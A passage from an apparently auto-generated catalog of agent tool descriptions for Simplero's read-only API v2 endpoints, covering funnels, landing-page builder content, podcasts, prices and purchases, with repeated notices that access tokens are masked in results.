/api/v2/facet_values/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/facet_values/{id}. Scopes: api. simplero_get_api_v2_facetings (read) — List facetings via GET /api/v2/facetings. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/facetings. Scopes: api. simplero_get_api_v2_facetings_by_id (read) — Get a faceting via GET /api/v2/facetings/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/facetings/{id}. Scopes: api. simplero_get_api_v2_facets (read) — List facets via GET /api/v2/facets. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/facets. Scopes: api. simplero_get_api_v2_facets_by_id (read) — Get a facet via GET /api/v2/facets/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/facets/{id}. Scopes: api. simplero_get_api_v2_field_option_values (read) — List field option values via GET /api/v2/field_option_values. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/field_option_values. Scopes: api. simplero_get_api_v2_field_option_values_by_id (read) — Get a field option value via GET /api/v2/field_option_values/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/field_option_values/{id}. Scopes: api. simplero_get_api_v2_field_options (read) — List options via GET /api/v2/field_options. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/field_options. Scopes: api. simplero_get_api_v2_field_options_by_id (read) — Get a option via GET /api/v2/field_options/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/field_options/{id}. Scopes: api. simplero_get_api_v2_field_values (read) — List field values via GET /api/v2/field_values. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/field_values. Scopes: api. simplero_get_api_v2_field_values_by_id (read) — Get a field value via GET /api/v2/field_values/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/field_values/{id}. Scopes: api. simplero_get_api_v2_fields (read) — List custom fields via GET /api/v2/fields. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/fields. Scopes: api. simplero_get_api_v2_fields_by_id (read) — Get a custom field via GET /api/v2/fields/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/fields/{id}. Scopes: api. simplero_get_api_v2_form_fields (read) — List fields via GET /api/v2/form_fields. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/form_fields. Scopes: api. simplero_get_api_v2_form_fields_by_id (read) — Get a field via GET /api/v2/form_fields/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/form_fields/{id}. Scopes: api. simplero_get_api_v2_forum_posts (read) — List forum posts via GET /api/v2/forum_posts. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/forum_posts. Scopes: api. simplero_get_api_v2_forum_posts_by_id (read) — Get a forum post via GET /api/v2/forum_posts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/forum_posts/{id}. Scopes: api. simplero_get_api_v2_funnel_connectors (read) — List funnel connectors via GET /api/v2/funnel_connectors. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnel_connectors. Scopes: api. simplero_get_api_v2_funnel_connectors_by_id (read) — Get a funnel connector via GET /api/v2/funnel_connectors/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnel_connectors/{id}. Scopes: api. simplero_get_api_v2_funnel_steps (read) — List funnel steps via GET /api/v2/funnel_steps. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnel_steps. Scopes: api. simplero_get_api_v2_funnel_steps_by_id (read) — Get a funnel step via GET /api/v2/funnel_steps/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnel_steps/{id}. Scopes: api. simplero_get_api_v2_funnels (read) — List funnels via GET /api/v2/funnels. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnels. Scopes: api. simplero_get_api_v2_funnels_by_id (read) — Get a funnel via GET /api/v2/funnels/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/funnels/{id}. Scopes: api. simplero_get_api_v2_ideas (read) — List ideas via GET /api/v2/ideas. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/ideas. Scopes: api. simplero_get_api_v2_ideas_by_id (read) — Get a idea via GET /api/v2/ideas/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/ideas/{id}. Scopes: api. simplero_get_api_v2_installments (read) — List installments via GET /api/v2/installments. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/installments. Scopes: api. simplero_get_api_v2_installments_by_id (read) — Get a installment via GET /api/v2/installments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/installments/{id}. Scopes: api. simplero_get_api_v2_labelings (read) — List labeled objects via GET /api/v2/labelings. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/labelings. Scopes: api. simplero_get_api_v2_labelings_by_id (read) — Get a labeled object via GET /api/v2/labelings/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/labelings/{id}. Scopes: api. simplero_get_api_v2_labels (read) — List labels via GET /api/v2/labels. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/labels. Scopes: api. simplero_get_api_v2_labels_by_id (read) — Get a label via GET /api/v2/labels/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/labels/{id}. Scopes: api. simplero_get_api_v2_landing_pages (read) — List landing pages via GET /api/v2/landing_pages. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/landing_pages. Scopes: api. simplero_get_api_v2_landing_pages_by_id (read) — Get a landing page via GET /api/v2/landing_pages/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/landing_pages/{id}. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_accessibility (read) — Run WCAG 2.1 AA accessibility check (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/accessibility. Audits the working version of this record's builder doc (and its style guide) for WCAG 2.1 AA issues: color contrast (text vs background on palette roles and color styles), missing image alt text, heading hierarchy, and keyboard/focus risks in HTML sections. Always run this at the end of a page build, before publish. For each contrast failure, `suggestion` and `meta.suggested_fg` include a replacement color that meets the AA ratio — apply those fixes (update style guide colors / node settings / HTML) and re-run until `pass` is true or only warnings remain that the user has accepted. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/accessibility. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_html_section (read) — Get HTML section content (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/html_section. Returns the HTML content of the html_section node with the given id. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/html_section. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_node_types (read) — List available builder node types (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/node_types. Returns node types that can be added to this builder doc. If parent_node_id is given, filters to types valid as children of that node. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/node_types. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_node_types_detail (read) — Get builder node type schema (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/node_types/detail. Returns the list of settings available on a single node type. Type is passed as a query param because it may contain slashes. To get the full args schema (defaults, types) for a specific setting, call the node_types/settings_detail endpoint with the setting ids you care about. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/node_types/detail. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_node_types_settings_detail (read) — Get builder node type settings detail (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/node_types/settings_detail. Returns the full args schema (defaults, types) for one or more settings of a given node type. Scoped by the node type. Returns a hash keyed by setting id. Note that the args listed here sit one level BELOW a breakpoint when you write them: a value is set as settings[<setting_id>][<breakpoint>][<arg>], e.g. { "content": { "base": { "content": "<h1>Hello</h1>" } } }. Use "base" unless you want a per-breakpoint override. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/node_types/settings_detail. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_nodes (read) — Get the builder doc node tree (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/nodes. Returns the full working-version node tree for this record. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/nodes. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_nodes_by_node_id (read) — Get a builder doc node (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Returns a single node by id from the working version. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_versions (read) — List builder doc version history (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/versions. Returns the active working lineage of this record's builder doc, newest first, plus publish/working status. Compacted and orphaned versions are omitted. When `published_version_on_working_lineage` is false, the working draft is disconnected from published — POST discard_unpublished_changes to reconnect before publishing. The published version is still identified by `published_version_id` even when it is not in `versions`. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/versions. Scopes: api. simplero_get_api_v2_landing_pages_by_id_builder_content_versions_by_version_id (read) — Get a builder doc version (landing pages) via GET /api/v2/landing_pages/{id}/builder/content/versions/{version_id}. Returns one version, including its node tree. The version must belong to this record's builder doc; compacted/orphaned versions are still fetchable by id. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/versions/{version_id}. Scopes: api. simplero_get_api_v2_library_mailings (read) — List library emails via GET /api/v2/library_mailings. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/library_mailings. Scopes: api. simplero_get_api_v2_library_mailings_by_id (read) — Get a library email via GET /api/v2/library_mailings/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/library_mailings/{id}. Scopes: api. simplero_get_api_v2_lists (read) — List lists via GET /api/v2/lists. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/lists. Scopes: api. simplero_get_api_v2_lists_by_id (read) — Get a list via GET /api/v2/lists/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/lists/{id}. Scopes: api. simplero_get_api_v2_nav_list_links (read) — List links via GET /api/v2/nav_list_links. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nav_list_links. Scopes: api. simplero_get_api_v2_nav_list_links_by_id (read) — Get a link via GET /api/v2/nav_list_links/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nav_list_links/{id}. Scopes: api. simplero_get_api_v2_nav_lists (read) — List navigation lists via GET /api/v2/nav_lists. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nav_lists. Scopes: api. simplero_get_api_v2_nav_lists_by_id (read) — Get a navigation list via GET /api/v2/nav_lists/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nav_lists/{id}. Scopes: api. simplero_get_api_v2_nps_scores (read) — List net promoter scores via GET /api/v2/nps_scores. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nps_scores. Scopes: api. simplero_get_api_v2_nps_scores_by_id (read) — Get a net promoter score via GET /api/v2/nps_scores/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/nps_scores/{id}. Scopes: api. simplero_get_api_v2_pages (read) — List pages via GET /api/v2/pages. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/pages. Scopes: api. simplero_get_api_v2_pages_by_id (read) — Get a page via GET /api/v2/pages/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/pages/{id}. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_accessibility (read) — Run WCAG 2.1 AA accessibility check (pages) via GET /api/v2/pages/{id}/builder/content/accessibility. Audits the working version of this record's builder doc (and its style guide) for WCAG 2.1 AA issues: color contrast (text vs background on palette roles and color styles), missing image alt text, heading hierarchy, and keyboard/focus risks in HTML sections. Always run this at the end of a page build, before publish. For each contrast failure, `suggestion` and `meta.suggested_fg` include a replacement color that meets the AA ratio — apply those fixes (update style guide colors / node settings / HTML) and re-run until `pass` is true or only warnings remain that the user has accepted. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/accessibility. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_html_section (read) — Get HTML section content (pages) via GET /api/v2/pages/{id}/builder/content/html_section. Returns the HTML content of the html_section node with the given id. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/html_section. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_node_types (read) — List available builder node types (pages) via GET /api/v2/pages/{id}/builder/content/node_types. Returns node types that can be added to this builder doc. If parent_node_id is given, filters to types valid as children of that node. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/node_types. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_node_types_detail (read) — Get builder node type schema (pages) via GET /api/v2/pages/{id}/builder/content/node_types/detail. Returns the list of settings available on a single node type. Type is passed as a query param because it may contain slashes. To get the full args schema (defaults, types) for a specific setting, call the node_types/settings_detail endpoint with the setting ids you care about. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/node_types/detail. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_node_types_settings_detail (read) — Get builder node type settings detail (pages) via GET /api/v2/pages/{id}/builder/content/node_types/settings_detail. Returns the full args schema (defaults, types) for one or more settings of a given node type. Scoped by the node type. Returns a hash keyed by setting id. Note that the args listed here sit one level BELOW a breakpoint when you write them: a value is set as settings[<setting_id>][<breakpoint>][<arg>], e.g. { "content": { "base": { "content": "<h1>Hello</h1>" } } }. Use "base" unless you want a per-breakpoint override. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/node_types/settings_detail. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_nodes (read) — Get the builder doc node tree (pages) via GET /api/v2/pages/{id}/builder/content/nodes. Returns the full working-version node tree for this record. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/nodes. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_nodes_by_node_id (read) — Get a builder doc node (pages) via GET /api/v2/pages/{id}/builder/content/nodes/{node_id}. Returns a single node by id from the working version. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_versions (read) — List builder doc version history (pages) via GET /api/v2/pages/{id}/builder/content/versions. Returns the active working lineage of this record's builder doc, newest first, plus publish/working status. Compacted and orphaned versions are omitted. When `published_version_on_working_lineage` is false, the working draft is disconnected from published — POST discard_unpublished_changes to reconnect before publishing. The published version is still identified by `published_version_id` even when it is not in `versions`. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/versions. Scopes: api. simplero_get_api_v2_pages_by_id_builder_content_versions_by_version_id (read) — Get a builder doc version (pages) via GET /api/v2/pages/{id}/builder/content/versions/{version_id}. Returns one version, including its node tree. The version must belong to this record's builder doc; compacted/orphaned versions are still fetchable by id. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/pages/{id}/builder/content/versions/{version_id}. Scopes: api. simplero_get_api_v2_pipeline_stages (read) — List pipeline stages via GET /api/v2/pipeline_stages. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pipeline_stages. Scopes: api. simplero_get_api_v2_pipeline_stages_by_id (read) — Get a pipeline stage via GET /api/v2/pipeline_stages/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/pipeline_stages/{id}. Scopes: api. simplero_get_api_v2_pipelines (read) — List pipelines via GET /api/v2/pipelines. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/pipelines. Scopes: api. simplero_get_api_v2_pipelines_by_id (read) — Get a pipeline via GET /api/v2/pipelines/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/pipelines/{id}. Scopes: api. simplero_get_api_v2_podcast_episodes (read) — List episodes via GET /api/v2/podcast_episodes. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/podcast_episodes. Scopes: api. simplero_get_api_v2_podcast_episodes_by_id (read) — Get a episode via GET /api/v2/podcast_episodes/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/podcast_episodes/{id}. Scopes: api. simplero_get_api_v2_podcasts (read) — List podcasts via GET /api/v2/podcasts. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/podcasts. Scopes: api. simplero_get_api_v2_podcasts_by_id (read) — Get a podcast via GET /api/v2/podcasts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/podcasts/{id}. Scopes: api. simplero_get_api_v2_price_periods (read) — List price periods via GET /api/v2/price_periods. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/price_periods. Scopes: api. simplero_get_api_v2_price_periods_by_id (read) — Get a price period via GET /api/v2/price_periods/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/price_periods/{id}. Scopes: api. simplero_get_api_v2_prices (read) — List prices via GET /api/v2/prices. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/prices. Scopes: api. simplero_get_api_v2_prices_by_id (read) — Get a price via GET /api/v2/prices/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/prices/{id}. Scopes: api. simplero_get_api_v2_product_variants (read) — List variants via GET /api/v2/product_variants. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/product_variants. Scopes: api. simplero_get_api_v2_product_variants_by_id (read) — Get a variant via GET /api/v2/product_variants/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/product_variants/{id}. Scopes: api. simplero_get_api_v2_products (read) — List products via GET /api/v2/products. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/products. Scopes: api. simplero_get_api_v2_products_by_id (read) — Get a product via GET /api/v2/products/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/products/{id}. Scopes: api. simplero_get_api_v2_purchases (read) — List purchases via GET /api/v2/purchases. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/purchases. Scopes: api. simplero_get_api_v2_purchases_by_id (read) — Get a purchase via GET /api/v2/purchases/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/purchases/{id}. Scopes: api. simplero_get_api_v2_quiz_answers (read) — List quiz answers via GET /api/v2/quiz_answers. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq 